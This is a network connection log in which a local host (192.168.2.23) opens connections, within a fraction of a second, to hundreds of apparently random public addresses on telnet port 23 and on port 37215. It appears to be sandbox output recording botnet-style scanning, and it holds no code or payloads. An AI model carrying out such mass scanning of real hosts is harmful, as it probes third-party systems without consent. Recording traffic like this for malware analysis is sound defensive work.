Dec 3, 2024 21:30:52.795043945 CET	59009	37215	192.168.2.23	41.28.93.24
Dec 3, 2024 21:30:52.795053005 CET	59009	37215	192.168.2.23	197.91.147.181
Dec 3, 2024 21:30:52.795059919 CET	59009	37215	192.168.2.23	197.165.246.178
Dec 3, 2024 21:30:52.795062065 CET	59009	37215	192.168.2.23	156.63.253.36
Dec 3, 2024 21:30:52.795070887 CET	59009	37215	192.168.2.23	197.26.250.106
Dec 3, 2024 21:30:52.795078039 CET	59009	37215	192.168.2.23	41.183.188.72
Dec 3, 2024 21:30:52.795079947 CET	59009	37215	192.168.2.23	41.199.3.227
Dec 3, 2024 21:30:52.795087099 CET	59009	37215	192.168.2.23	41.96.227.54
Dec 3, 2024 21:30:52.795092106 CET	59009	37215	192.168.2.23	156.82.228.208
Dec 3, 2024 21:30:52.795098066 CET	59009	37215	192.168.2.23	156.40.101.15
Dec 3, 2024 21:30:52.795108080 CET	59009	37215	192.168.2.23	156.65.152.113
Dec 3, 2024 21:30:52.795110941 CET	59009	37215	192.168.2.23	197.68.175.23
Dec 3, 2024 21:30:52.795145035 CET	59009	37215	192.168.2.23	156.21.162.57
Dec 3, 2024 21:30:52.795146942 CET	59009	37215	192.168.2.23	156.132.67.246
Dec 3, 2024 21:30:52.795149088 CET	37215	50166	41.199.201.42	192.168.2.23
Dec 3, 2024 21:30:52.795156002 CET	59009	37215	192.168.2.23	197.218.205.126
Dec 3, 2024 21:30:52.795159101 CET	59009	37215	192.168.2.23	41.197.35.15
Dec 3, 2024 21:30:52.795171976 CET	59009	37215	192.168.2.23	156.57.131.57
Dec 3, 2024 21:30:52.795178890 CET	50166	37215	192.168.2.23	41.199.201.42
Dec 3, 2024 21:30:52.795187950 CET	59009	37215	192.168.2.23	156.75.155.211
Dec 3, 2024 21:30:52.795223951 CET	45232	37215	192.168.2.23	197.67.52.122
Dec 3, 2024 21:30:52.795233011 CET	54528	37215	192.168.2.23	156.254.151.42
Dec 3, 2024 21:30:52.795242071 CET	47296	37215	192.168.2.23	197.151.230.241
Dec 3, 2024 21:30:52.795245886 CET	50166	37215	192.168.2.23	41.199.201.42
Dec 3, 2024 21:30:52.796686888 CET	37215	53802	156.144.87.194	192.168.2.23
Dec 3, 2024 21:30:52.796724081 CET	53802	37215	192.168.2.23	156.144.87.194
Dec 3, 2024 21:30:52.799827099 CET	23	37310	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:52.799952984 CET	37310	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:52.800354004 CET	37476	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:52.800692081 CET	59020	23	192.168.2.23	59.210.166.38
Dec 3, 2024 21:30:52.800693035 CET	59020	23	192.168.2.23	105.178.146.243
Dec 3, 2024 21:30:52.800693989 CET	59020	23	192.168.2.23	154.78.116.253
Dec 3, 2024 21:30:52.800703049 CET	59020	23	192.168.2.23	220.235.160.172
Dec 3, 2024 21:30:52.800704956 CET	59020	23	192.168.2.23	137.171.217.245
Dec 3, 2024 21:30:52.800710917 CET	59020	23	192.168.2.23	75.235.130.220
Dec 3, 2024 21:30:52.800713062 CET	59020	23	192.168.2.23	87.214.36.127
Dec 3, 2024 21:30:52.800720930 CET	59020	23	192.168.2.23	105.72.121.241
Dec 3, 2024 21:30:52.800740004 CET	59020	23	192.168.2.23	153.110.43.229
Dec 3, 2024 21:30:52.800740957 CET	59020	23	192.168.2.23	154.173.21.181
Dec 3, 2024 21:30:52.800740957 CET	59020	23	192.168.2.23	133.242.14.96
Dec 3, 2024 21:30:52.800749063 CET	59020	23	192.168.2.23	76.123.27.195
Dec 3, 2024 21:30:52.800749063 CET	59020	23	192.168.2.23	173.155.227.74
Dec 3, 2024 21:30:52.800750017 CET	59020	23	192.168.2.23	138.196.146.16
Dec 3, 2024 21:30:52.800750017 CET	59020	23	192.168.2.23	39.193.184.147
Dec 3, 2024 21:30:52.800753117 CET	59020	23	192.168.2.23	34.50.17.145
Dec 3, 2024 21:30:52.800754070 CET	59020	23	192.168.2.23	53.18.11.157
Dec 3, 2024 21:30:52.800760984 CET	59020	23	192.168.2.23	174.154.156.175
Dec 3, 2024 21:30:52.800770044 CET	59020	23	192.168.2.23	99.210.208.131
Dec 3, 2024 21:30:52.800770044 CET	59020	23	192.168.2.23	81.94.172.168
Dec 3, 2024 21:30:52.800780058 CET	59020	23	192.168.2.23	168.222.64.140
Dec 3, 2024 21:30:52.800781965 CET	59020	23	192.168.2.23	147.142.224.121
Dec 3, 2024 21:30:52.800790071 CET	59020	23	192.168.2.23	73.25.149.9
Dec 3, 2024 21:30:52.800791025 CET	59020	23	192.168.2.23	66.40.27.191
Dec 3, 2024 21:30:52.800806046 CET	59020	23	192.168.2.23	113.206.96.16
Dec 3, 2024 21:30:52.800811052 CET	59020	23	192.168.2.23	136.206.0.112
Dec 3, 2024 21:30:52.800813913 CET	59020	23	192.168.2.23	14.185.110.33
Dec 3, 2024 21:30:52.800821066 CET	59020	23	192.168.2.23	210.77.238.237
Dec 3, 2024 21:30:52.800821066 CET	59020	23	192.168.2.23	154.111.24.209
Dec 3, 2024 21:30:52.800829887 CET	59020	23	192.168.2.23	59.9.234.22
Dec 3, 2024 21:30:52.800834894 CET	59020	23	192.168.2.23	116.180.254.119
Dec 3, 2024 21:30:52.800838947 CET	59020	23	192.168.2.23	203.179.139.182
Dec 3, 2024 21:30:52.800846100 CET	59020	23	192.168.2.23	113.183.192.219
Dec 3, 2024 21:30:52.800848007 CET	59020	23	192.168.2.23	220.95.236.5
Dec 3, 2024 21:30:52.800853968 CET	59020	23	192.168.2.23	151.133.190.164
Dec 3, 2024 21:30:52.800862074 CET	59020	23	192.168.2.23	123.241.103.160
Dec 3, 2024 21:30:52.800870895 CET	59020	23	192.168.2.23	109.209.181.169
Dec 3, 2024 21:30:52.800877094 CET	59020	23	192.168.2.23	74.198.124.236
Dec 3, 2024 21:30:52.800879002 CET	59020	23	192.168.2.23	153.58.18.237
Dec 3, 2024 21:30:52.800885916 CET	59020	23	192.168.2.23	209.199.252.195
Dec 3, 2024 21:30:52.800894976 CET	59020	23	192.168.2.23	161.46.218.8
Dec 3, 2024 21:30:52.800900936 CET	59020	23	192.168.2.23	144.156.125.137
Dec 3, 2024 21:30:52.800908089 CET	59020	23	192.168.2.23	65.41.238.144
Dec 3, 2024 21:30:52.800914049 CET	59020	23	192.168.2.23	107.241.233.253
Dec 3, 2024 21:30:52.800923109 CET	59020	23	192.168.2.23	24.107.149.251
Dec 3, 2024 21:30:52.800925016 CET	59020	23	192.168.2.23	19.195.92.122
Dec 3, 2024 21:30:52.800931931 CET	59020	23	192.168.2.23	219.242.229.183
Dec 3, 2024 21:30:52.800940037 CET	59020	23	192.168.2.23	87.235.151.131
Dec 3, 2024 21:30:52.800941944 CET	59020	23	192.168.2.23	79.138.243.88
Dec 3, 2024 21:30:52.800946951 CET	59020	23	192.168.2.23	32.196.209.135
Dec 3, 2024 21:30:52.800951958 CET	59020	23	192.168.2.23	81.206.173.22
Dec 3, 2024 21:30:52.800954103 CET	59020	23	192.168.2.23	210.49.196.159
Dec 3, 2024 21:30:52.800961971 CET	59020	23	192.168.2.23	195.222.67.137
Dec 3, 2024 21:30:52.800971985 CET	59020	23	192.168.2.23	45.77.152.143
Dec 3, 2024 21:30:52.800973892 CET	59020	23	192.168.2.23	166.22.66.203
Dec 3, 2024 21:30:52.800981998 CET	59020	23	192.168.2.23	98.159.197.210
Dec 3, 2024 21:30:52.800983906 CET	59020	23	192.168.2.23	50.66.167.86
Dec 3, 2024 21:30:52.800987005 CET	59020	23	192.168.2.23	151.52.143.253
Dec 3, 2024 21:30:52.800993919 CET	59020	23	192.168.2.23	199.75.31.64
Dec 3, 2024 21:30:52.801000118 CET	59020	23	192.168.2.23	49.153.168.187
Dec 3, 2024 21:30:52.801004887 CET	59020	23	192.168.2.23	90.233.198.4
Dec 3, 2024 21:30:52.801007986 CET	59020	23	192.168.2.23	31.254.155.173
Dec 3, 2024 21:30:52.801014900 CET	59020	23	192.168.2.23	43.78.46.214
Dec 3, 2024 21:30:52.801023006 CET	59020	23	192.168.2.23	136.77.44.224
Dec 3, 2024 21:30:52.801028967 CET	59020	23	192.168.2.23	209.231.185.248
Dec 3, 2024 21:30:52.801035881 CET	59020	23	192.168.2.23	122.132.227.65
Dec 3, 2024 21:30:52.801047087 CET	59020	23	192.168.2.23	1.137.115.63
Dec 3, 2024 21:30:52.801054001 CET	59020	23	192.168.2.23	17.160.142.175
Dec 3, 2024 21:30:52.801055908 CET	59020	23	192.168.2.23	20.134.195.31
Dec 3, 2024 21:30:52.801059008 CET	59020	23	192.168.2.23	165.166.42.200
Dec 3, 2024 21:30:52.801064968 CET	59020	23	192.168.2.23	27.168.209.175
Dec 3, 2024 21:30:52.801068068 CET	59020	23	192.168.2.23	126.231.151.169
Dec 3, 2024 21:30:52.801075935 CET	59020	23	192.168.2.23	82.9.62.29
Dec 3, 2024 21:30:52.801081896 CET	59020	23	192.168.2.23	154.166.185.240
Dec 3, 2024 21:30:52.801086903 CET	59020	23	192.168.2.23	63.209.52.222
Dec 3, 2024 21:30:52.801090002 CET	59020	23	192.168.2.23	68.187.153.88
Dec 3, 2024 21:30:52.801093102 CET	59020	23	192.168.2.23	70.194.17.252
Dec 3, 2024 21:30:52.801099062 CET	59020	23	192.168.2.23	37.199.38.232
Dec 3, 2024 21:30:52.801100969 CET	59020	23	192.168.2.23	120.226.55.188
Dec 3, 2024 21:30:52.801106930 CET	59020	23	192.168.2.23	182.96.145.97
Dec 3, 2024 21:30:52.801112890 CET	59020	23	192.168.2.23	160.119.191.179
Dec 3, 2024 21:30:52.801122904 CET	59020	23	192.168.2.23	52.8.35.95
Dec 3, 2024 21:30:52.801124096 CET	59020	23	192.168.2.23	205.84.240.136
Dec 3, 2024 21:30:52.801127911 CET	59020	23	192.168.2.23	206.41.195.5
Dec 3, 2024 21:30:52.801135063 CET	59020	23	192.168.2.23	202.118.43.30
Dec 3, 2024 21:30:52.801140070 CET	59020	23	192.168.2.23	156.179.95.219
Dec 3, 2024 21:30:52.801143885 CET	59020	23	192.168.2.23	121.230.203.12
Dec 3, 2024 21:30:52.801148891 CET	59020	23	192.168.2.23	186.166.151.140
Dec 3, 2024 21:30:52.801156044 CET	59020	23	192.168.2.23	148.40.161.135
Dec 3, 2024 21:30:52.801165104 CET	59020	23	192.168.2.23	65.111.252.239
Dec 3, 2024 21:30:52.801165104 CET	59020	23	192.168.2.23	158.206.60.226
Dec 3, 2024 21:30:52.801170111 CET	59020	23	192.168.2.23	104.54.142.156
Dec 3, 2024 21:30:52.801177025 CET	59020	23	192.168.2.23	175.156.24.73
Dec 3, 2024 21:30:52.801184893 CET	59020	23	192.168.2.23	38.241.139.46
Dec 3, 2024 21:30:52.801192999 CET	59020	23	192.168.2.23	218.254.128.43
Dec 3, 2024 21:30:52.801193953 CET	59020	23	192.168.2.23	185.76.126.55
Dec 3, 2024 21:30:52.801194906 CET	59020	23	192.168.2.23	147.1.192.142
Dec 3, 2024 21:30:52.801197052 CET	59020	23	192.168.2.23	154.29.240.136
Dec 3, 2024 21:30:52.801206112 CET	59020	23	192.168.2.23	65.0.173.185
Dec 3, 2024 21:30:52.801213026 CET	59020	23	192.168.2.23	190.99.106.71
Dec 3, 2024 21:30:52.801214933 CET	59020	23	192.168.2.23	5.92.43.219
Dec 3, 2024 21:30:52.801223040 CET	59020	23	192.168.2.23	128.195.116.208
Dec 3, 2024 21:30:52.801228046 CET	59020	23	192.168.2.23	19.238.22.90
Dec 3, 2024 21:30:52.801237106 CET	59020	23	192.168.2.23	167.142.253.37
Dec 3, 2024 21:30:52.801238060 CET	59020	23	192.168.2.23	191.37.96.166
Dec 3, 2024 21:30:52.801249981 CET	59020	23	192.168.2.23	198.220.129.228
Dec 3, 2024 21:30:52.801249981 CET	59020	23	192.168.2.23	201.146.152.23
Dec 3, 2024 21:30:52.801256895 CET	59020	23	192.168.2.23	163.190.225.21
Dec 3, 2024 21:30:52.801261902 CET	59020	23	192.168.2.23	203.173.146.250
Dec 3, 2024 21:30:52.801265001 CET	59020	23	192.168.2.23	116.57.63.124
Dec 3, 2024 21:30:52.801270962 CET	59020	23	192.168.2.23	43.39.211.60
Dec 3, 2024 21:30:52.801280022 CET	59020	23	192.168.2.23	84.239.121.197
Dec 3, 2024 21:30:52.801281929 CET	59020	23	192.168.2.23	67.239.208.203
Dec 3, 2024 21:30:52.801286936 CET	59020	23	192.168.2.23	190.49.133.147
Dec 3, 2024 21:30:52.801292896 CET	59020	23	192.168.2.23	143.167.217.74
Dec 3, 2024 21:30:52.801304102 CET	59020	23	192.168.2.23	126.144.26.116
Dec 3, 2024 21:30:52.801305056 CET	59020	23	192.168.2.23	210.237.115.52
Dec 3, 2024 21:30:52.801307917 CET	59020	23	192.168.2.23	196.23.65.88
Dec 3, 2024 21:30:52.801311970 CET	59020	23	192.168.2.23	195.49.204.214
Dec 3, 2024 21:30:52.801321030 CET	59020	23	192.168.2.23	217.48.137.32
Dec 3, 2024 21:30:52.801322937 CET	59020	23	192.168.2.23	121.187.153.233
Dec 3, 2024 21:30:52.801331997 CET	59020	23	192.168.2.23	20.176.45.214
Dec 3, 2024 21:30:52.801332951 CET	59020	23	192.168.2.23	39.49.138.217
Dec 3, 2024 21:30:52.801337957 CET	59020	23	192.168.2.23	189.1.56.168
Dec 3, 2024 21:30:52.801342010 CET	59020	23	192.168.2.23	50.163.143.193
Dec 3, 2024 21:30:52.801350117 CET	59020	23	192.168.2.23	95.188.54.219
Dec 3, 2024 21:30:52.801357031 CET	59020	23	192.168.2.23	83.176.106.192
Dec 3, 2024 21:30:52.801361084 CET	59020	23	192.168.2.23	4.254.74.143
Dec 3, 2024 21:30:52.801368952 CET	59020	23	192.168.2.23	116.225.189.157
Dec 3, 2024 21:30:52.801378965 CET	59020	23	192.168.2.23	181.146.220.39
Dec 3, 2024 21:30:52.801382065 CET	59020	23	192.168.2.23	54.60.209.92
Dec 3, 2024 21:30:52.801390886 CET	59020	23	192.168.2.23	182.156.167.194
Dec 3, 2024 21:30:52.801393032 CET	59020	23	192.168.2.23	23.149.161.151
Dec 3, 2024 21:30:52.801403999 CET	59020	23	192.168.2.23	169.166.234.160
Dec 3, 2024 21:30:52.801404953 CET	59020	23	192.168.2.23	85.171.38.84
Dec 3, 2024 21:30:52.801409960 CET	59020	23	192.168.2.23	147.38.237.190
Dec 3, 2024 21:30:52.801419020 CET	59020	23	192.168.2.23	18.253.208.82
Dec 3, 2024 21:30:52.801420927 CET	59020	23	192.168.2.23	83.213.229.23
Dec 3, 2024 21:30:52.801430941 CET	59020	23	192.168.2.23	105.142.154.110
Dec 3, 2024 21:30:52.801431894 CET	59020	23	192.168.2.23	218.125.114.16
Dec 3, 2024 21:30:52.801438093 CET	59020	23	192.168.2.23	143.103.192.38
Dec 3, 2024 21:30:52.801438093 CET	59020	23	192.168.2.23	152.230.92.51
Dec 3, 2024 21:30:52.801444054 CET	59020	23	192.168.2.23	80.214.70.217
Dec 3, 2024 21:30:52.801450968 CET	59020	23	192.168.2.23	197.95.164.37
Dec 3, 2024 21:30:52.801453114 CET	59020	23	192.168.2.23	150.89.16.95
Dec 3, 2024 21:30:52.801466942 CET	59020	23	192.168.2.23	153.223.30.105
Dec 3, 2024 21:30:52.801466942 CET	59020	23	192.168.2.23	149.165.90.42
Dec 3, 2024 21:30:52.801470995 CET	59020	23	192.168.2.23	180.50.223.97
Dec 3, 2024 21:30:52.801472902 CET	59020	23	192.168.2.23	88.14.84.17
Dec 3, 2024 21:30:52.801477909 CET	59020	23	192.168.2.23	153.216.245.63
Dec 3, 2024 21:30:52.801482916 CET	59020	23	192.168.2.23	154.57.178.169
Dec 3, 2024 21:30:52.801490068 CET	59020	23	192.168.2.23	93.19.84.17
Dec 3, 2024 21:30:52.801496983 CET	59020	23	192.168.2.23	136.245.80.182
Dec 3, 2024 21:30:52.801505089 CET	59020	23	192.168.2.23	174.84.236.38
Dec 3, 2024 21:30:52.801511049 CET	59020	23	192.168.2.23	167.46.147.42
Dec 3, 2024 21:30:52.801518917 CET	59020	23	192.168.2.23	186.116.15.138
Dec 3, 2024 21:30:52.801527023 CET	59020	23	192.168.2.23	41.192.86.131
Dec 3, 2024 21:30:52.801528931 CET	59020	23	192.168.2.23	34.96.105.231
Dec 3, 2024 21:30:52.801536083 CET	59020	23	192.168.2.23	175.151.22.63
Dec 3, 2024 21:30:52.801543951 CET	59020	23	192.168.2.23	1.118.2.22
Dec 3, 2024 21:30:52.801547050 CET	59020	23	192.168.2.23	90.80.180.53
Dec 3, 2024 21:30:52.801553011 CET	59020	23	192.168.2.23	63.162.132.185
Dec 3, 2024 21:30:52.801562071 CET	59020	23	192.168.2.23	188.222.177.48
Dec 3, 2024 21:30:52.801567078 CET	59020	23	192.168.2.23	173.161.98.139
Dec 3, 2024 21:30:52.801568985 CET	59020	23	192.168.2.23	109.119.72.17
Dec 3, 2024 21:30:52.801574945 CET	59020	23	192.168.2.23	86.44.178.252
Dec 3, 2024 21:30:52.801582098 CET	59020	23	192.168.2.23	70.14.232.130
Dec 3, 2024 21:30:52.801584959 CET	59020	23	192.168.2.23	20.155.34.208
Dec 3, 2024 21:30:52.801585913 CET	59020	23	192.168.2.23	138.152.164.34
Dec 3, 2024 21:30:52.801595926 CET	59020	23	192.168.2.23	27.101.69.165
Dec 3, 2024 21:30:52.801598072 CET	59020	23	192.168.2.23	195.126.217.162
Dec 3, 2024 21:30:52.801606894 CET	59020	23	192.168.2.23	158.242.189.144
Dec 3, 2024 21:30:52.801608086 CET	59020	23	192.168.2.23	1.109.14.163
Dec 3, 2024 21:30:52.801614046 CET	59020	23	192.168.2.23	32.179.230.51
Dec 3, 2024 21:30:52.801619053 CET	59020	23	192.168.2.23	153.83.124.104
Dec 3, 2024 21:30:52.801625967 CET	59020	23	192.168.2.23	162.248.235.76
Dec 3, 2024 21:30:52.801629066 CET	59020	23	192.168.2.23	222.98.242.11
Dec 3, 2024 21:30:52.801634073 CET	59020	23	192.168.2.23	77.33.201.29
Dec 3, 2024 21:30:52.801637888 CET	59020	23	192.168.2.23	31.25.196.230
Dec 3, 2024 21:30:52.801647902 CET	59020	23	192.168.2.23	202.67.49.201
Dec 3, 2024 21:30:52.801650047 CET	59020	23	192.168.2.23	185.12.248.33
Dec 3, 2024 21:30:52.801652908 CET	59020	23	192.168.2.23	186.126.253.57
Dec 3, 2024 21:30:52.801662922 CET	59020	23	192.168.2.23	37.188.89.113
Dec 3, 2024 21:30:52.801665068 CET	59020	23	192.168.2.23	191.79.91.40
Dec 3, 2024 21:30:52.801671982 CET	59020	23	192.168.2.23	60.31.8.69
Dec 3, 2024 21:30:52.801681042 CET	59020	23	192.168.2.23	89.136.31.66
Dec 3, 2024 21:30:52.801682949 CET	59020	23	192.168.2.23	100.176.26.223
Dec 3, 2024 21:30:52.801693916 CET	59020	23	192.168.2.23	113.78.160.137
Dec 3, 2024 21:30:52.801697969 CET	59020	23	192.168.2.23	185.89.159.1
Dec 3, 2024 21:30:52.801704884 CET	59020	23	192.168.2.23	20.118.6.219
Dec 3, 2024 21:30:52.801708937 CET	59020	23	192.168.2.23	112.25.6.227
Dec 3, 2024 21:30:52.801717043 CET	59020	23	192.168.2.23	41.109.78.187
Dec 3, 2024 21:30:52.801718950 CET	59020	23	192.168.2.23	73.154.67.21
Dec 3, 2024 21:30:52.801723957 CET	59020	23	192.168.2.23	87.167.6.52
Dec 3, 2024 21:30:52.801732063 CET	59020	23	192.168.2.23	123.178.232.127
Dec 3, 2024 21:30:52.801736116 CET	59020	23	192.168.2.23	110.36.42.180
Dec 3, 2024 21:30:52.801749945 CET	59020	23	192.168.2.23	143.141.197.206
Dec 3, 2024 21:30:52.801757097 CET	59020	23	192.168.2.23	186.70.117.155
Dec 3, 2024 21:30:52.801757097 CET	59020	23	192.168.2.23	173.98.255.251
Dec 3, 2024 21:30:52.801768064 CET	59020	23	192.168.2.23	200.0.106.23
Dec 3, 2024 21:30:52.801774025 CET	59020	23	192.168.2.23	34.166.211.76
Dec 3, 2024 21:30:52.801778078 CET	59020	23	192.168.2.23	194.211.74.239
Dec 3, 2024 21:30:52.801784039 CET	59020	23	192.168.2.23	54.227.253.46
Dec 3, 2024 21:30:52.801789999 CET	59020	23	192.168.2.23	89.9.4.48
Dec 3, 2024 21:30:52.801795959 CET	59020	23	192.168.2.23	87.83.39.123
Dec 3, 2024 21:30:52.801804066 CET	59020	23	192.168.2.23	39.113.170.170
Dec 3, 2024 21:30:52.801809072 CET	59020	23	192.168.2.23	44.200.98.70
Dec 3, 2024 21:30:52.801811934 CET	59020	23	192.168.2.23	80.4.128.81
Dec 3, 2024 21:30:52.801820040 CET	59020	23	192.168.2.23	160.12.159.126
Dec 3, 2024 21:30:52.801826000 CET	59020	23	192.168.2.23	123.170.248.122
Dec 3, 2024 21:30:52.801836967 CET	59020	23	192.168.2.23	62.54.197.97
Dec 3, 2024 21:30:52.801837921 CET	59020	23	192.168.2.23	75.230.144.128
Dec 3, 2024 21:30:52.801847935 CET	59020	23	192.168.2.23	139.149.192.98
Dec 3, 2024 21:30:52.801851988 CET	59020	23	192.168.2.23	130.254.218.214
Dec 3, 2024 21:30:52.801858902 CET	59020	23	192.168.2.23	109.143.243.26
Dec 3, 2024 21:30:52.801871061 CET	59020	23	192.168.2.23	179.207.79.53
Dec 3, 2024 21:30:52.801871061 CET	59020	23	192.168.2.23	164.195.0.6
Dec 3, 2024 21:30:52.801877975 CET	59020	23	192.168.2.23	1.27.103.121
Dec 3, 2024 21:30:52.801883936 CET	59020	23	192.168.2.23	14.208.96.140
Dec 3, 2024 21:30:52.801888943 CET	59020	23	192.168.2.23	209.247.132.12
Dec 3, 2024 21:30:52.801894903 CET	59020	23	192.168.2.23	53.240.126.124
Dec 3, 2024 21:30:52.801902056 CET	59020	23	192.168.2.23	75.60.163.45
Dec 3, 2024 21:30:52.801908970 CET	59020	23	192.168.2.23	9.88.197.4
Dec 3, 2024 21:30:52.801913977 CET	59020	23	192.168.2.23	122.221.37.26
Dec 3, 2024 21:30:52.801923037 CET	59020	23	192.168.2.23	88.28.36.169
Dec 3, 2024 21:30:52.801923990 CET	59020	23	192.168.2.23	151.115.203.52
Dec 3, 2024 21:30:52.801927090 CET	59020	23	192.168.2.23	25.184.203.223
Dec 3, 2024 21:30:52.801932096 CET	59020	23	192.168.2.23	31.121.85.61
Dec 3, 2024 21:30:52.801935911 CET	59020	23	192.168.2.23	145.153.65.241
Dec 3, 2024 21:30:52.801945925 CET	59020	23	192.168.2.23	31.247.4.156
Dec 3, 2024 21:30:52.801949024 CET	59020	23	192.168.2.23	53.231.18.219
Dec 3, 2024 21:30:52.801951885 CET	59020	23	192.168.2.23	121.77.40.36
Dec 3, 2024 21:30:52.801954985 CET	59020	23	192.168.2.23	213.98.181.83
Dec 3, 2024 21:30:52.801958084 CET	59020	23	192.168.2.23	19.151.66.7
Dec 3, 2024 21:30:52.801964045 CET	59020	23	192.168.2.23	190.72.25.112
Dec 3, 2024 21:30:52.801969051 CET	59020	23	192.168.2.23	74.67.210.160
Dec 3, 2024 21:30:52.801970959 CET	59020	23	192.168.2.23	50.74.202.134
Dec 3, 2024 21:30:52.801980019 CET	59020	23	192.168.2.23	102.151.132.35
Dec 3, 2024 21:30:52.801980019 CET	59020	23	192.168.2.23	102.231.102.237
Dec 3, 2024 21:30:52.801989079 CET	59020	23	192.168.2.23	5.85.83.218
Dec 3, 2024 21:30:52.801989079 CET	59020	23	192.168.2.23	108.12.132.116
Dec 3, 2024 21:30:52.802000046 CET	59020	23	192.168.2.23	136.220.100.183
Dec 3, 2024 21:30:52.802001953 CET	59020	23	192.168.2.23	171.161.254.81
Dec 3, 2024 21:30:52.802004099 CET	59020	23	192.168.2.23	141.97.108.161
Dec 3, 2024 21:30:52.802014112 CET	59020	23	192.168.2.23	134.103.77.59
Dec 3, 2024 21:30:52.802021980 CET	59020	23	192.168.2.23	219.48.55.0
Dec 3, 2024 21:30:52.802026033 CET	59020	23	192.168.2.23	194.25.174.55
Dec 3, 2024 21:30:52.802031994 CET	59020	23	192.168.2.23	57.99.61.56
Dec 3, 2024 21:30:52.802037001 CET	59020	23	192.168.2.23	128.198.92.159
Dec 3, 2024 21:30:52.802043915 CET	59020	23	192.168.2.23	125.98.231.100
Dec 3, 2024 21:30:52.802050114 CET	59020	23	192.168.2.23	38.162.121.119
Dec 3, 2024 21:30:52.802051067 CET	59020	23	192.168.2.23	80.129.42.24
Dec 3, 2024 21:30:52.802056074 CET	59020	23	192.168.2.23	197.144.45.61
Dec 3, 2024 21:30:52.802064896 CET	59020	23	192.168.2.23	197.9.224.81
Dec 3, 2024 21:30:52.802067041 CET	59020	23	192.168.2.23	216.136.129.251
Dec 3, 2024 21:30:52.802077055 CET	59020	23	192.168.2.23	211.7.217.87
Dec 3, 2024 21:30:52.802078962 CET	59020	23	192.168.2.23	184.84.147.214
Dec 3, 2024 21:30:52.802084923 CET	59020	23	192.168.2.23	75.179.148.22
Dec 3, 2024 21:30:52.802092075 CET	59020	23	192.168.2.23	157.128.230.116
Dec 3, 2024 21:30:52.802094936 CET	59020	23	192.168.2.23	38.231.88.76
Dec 3, 2024 21:30:52.802103043 CET	59020	23	192.168.2.23	125.136.190.90
Dec 3, 2024 21:30:52.802105904 CET	59020	23	192.168.2.23	159.29.204.219
Dec 3, 2024 21:30:52.802114964 CET	59020	23	192.168.2.23	158.231.152.170
Dec 3, 2024 21:30:52.802118063 CET	59020	23	192.168.2.23	23.207.42.8
Dec 3, 2024 21:30:52.802125931 CET	59020	23	192.168.2.23	174.246.142.93
Dec 3, 2024 21:30:52.802129984 CET	59020	23	192.168.2.23	39.0.237.114
Dec 3, 2024 21:30:52.802131891 CET	59020	23	192.168.2.23	100.11.233.134
Dec 3, 2024 21:30:52.802131891 CET	59020	23	192.168.2.23	112.136.242.185
Dec 3, 2024 21:30:52.802139044 CET	59020	23	192.168.2.23	136.105.148.21
Dec 3, 2024 21:30:52.802144051 CET	59020	23	192.168.2.23	153.28.88.178
Dec 3, 2024 21:30:52.802150011 CET	59020	23	192.168.2.23	60.112.31.152
Dec 3, 2024 21:30:52.802177906 CET	59020	23	192.168.2.23	97.174.5.54
Dec 3, 2024 21:30:52.802181005 CET	59020	23	192.168.2.23	103.248.52.168
Dec 3, 2024 21:30:52.802181959 CET	59020	23	192.168.2.23	79.5.31.80
Dec 3, 2024 21:30:52.802187920 CET	59020	23	192.168.2.23	23.74.158.237
Dec 3, 2024 21:30:52.802189112 CET	59020	23	192.168.2.23	115.205.77.27
Dec 3, 2024 21:30:52.802189112 CET	59020	23	192.168.2.23	173.1.127.24
Dec 3, 2024 21:30:52.802189112 CET	59020	23	192.168.2.23	102.154.112.42
Dec 3, 2024 21:30:52.802187920 CET	59020	23	192.168.2.23	23.63.188.144
Dec 3, 2024 21:30:52.802187920 CET	59020	23	192.168.2.23	200.208.235.89
Dec 3, 2024 21:30:52.802191973 CET	59020	23	192.168.2.23	204.185.35.213
Dec 3, 2024 21:30:52.802187920 CET	59020	23	192.168.2.23	140.106.235.150
Dec 3, 2024 21:30:52.802191019 CET	59020	23	192.168.2.23	44.174.193.4
Dec 3, 2024 21:30:52.802191019 CET	59020	23	192.168.2.23	81.13.240.125
Dec 3, 2024 21:30:52.802192926 CET	59020	23	192.168.2.23	98.137.63.15
Dec 3, 2024 21:30:52.802196026 CET	59020	23	192.168.2.23	49.216.249.244
Dec 3, 2024 21:30:52.802197933 CET	59020	23	192.168.2.23	43.48.147.139
Dec 3, 2024 21:30:52.802200079 CET	59020	23	192.168.2.23	37.31.139.10
Dec 3, 2024 21:30:52.802210093 CET	59020	23	192.168.2.23	197.179.29.206
Dec 3, 2024 21:30:52.802216053 CET	59020	23	192.168.2.23	14.234.12.99
Dec 3, 2024 21:30:52.802220106 CET	59020	23	192.168.2.23	198.140.69.3
Dec 3, 2024 21:30:52.802226067 CET	59020	23	192.168.2.23	140.68.44.83
Dec 3, 2024 21:30:52.802232027 CET	59020	23	192.168.2.23	79.11.77.112
Dec 3, 2024 21:30:52.802238941 CET	59020	23	192.168.2.23	81.50.180.178
Dec 3, 2024 21:30:52.802244902 CET	59020	23	192.168.2.23	186.148.87.249
Dec 3, 2024 21:30:52.802252054 CET	59020	23	192.168.2.23	96.142.64.89
Dec 3, 2024 21:30:52.802262068 CET	59020	23	192.168.2.23	54.83.18.120
Dec 3, 2024 21:30:52.802263021 CET	59020	23	192.168.2.23	122.204.104.162
Dec 3, 2024 21:30:52.802270889 CET	59020	23	192.168.2.23	13.156.52.156
Dec 3, 2024 21:30:52.802277088 CET	59020	23	192.168.2.23	53.251.56.123
Dec 3, 2024 21:30:52.802278996 CET	59020	23	192.168.2.23	110.53.203.210
Dec 3, 2024 21:30:52.802287102 CET	59020	23	192.168.2.23	119.228.32.183
Dec 3, 2024 21:30:52.802294970 CET	59020	23	192.168.2.23	73.42.120.238
Dec 3, 2024 21:30:52.802297115 CET	59020	23	192.168.2.23	159.8.236.191
Dec 3, 2024 21:30:52.802305937 CET	59020	23	192.168.2.23	73.81.153.109
Dec 3, 2024 21:30:52.802309036 CET	59020	23	192.168.2.23	116.84.246.71
Dec 3, 2024 21:30:52.802315950 CET	59020	23	192.168.2.23	218.198.245.66
Dec 3, 2024 21:30:52.802323103 CET	59020	23	192.168.2.23	64.131.184.32
Dec 3, 2024 21:30:52.802330971 CET	59020	23	192.168.2.23	149.88.54.208
Dec 3, 2024 21:30:52.802335024 CET	59020	23	192.168.2.23	36.39.233.66
Dec 3, 2024 21:30:52.802344084 CET	59020	23	192.168.2.23	161.155.175.136
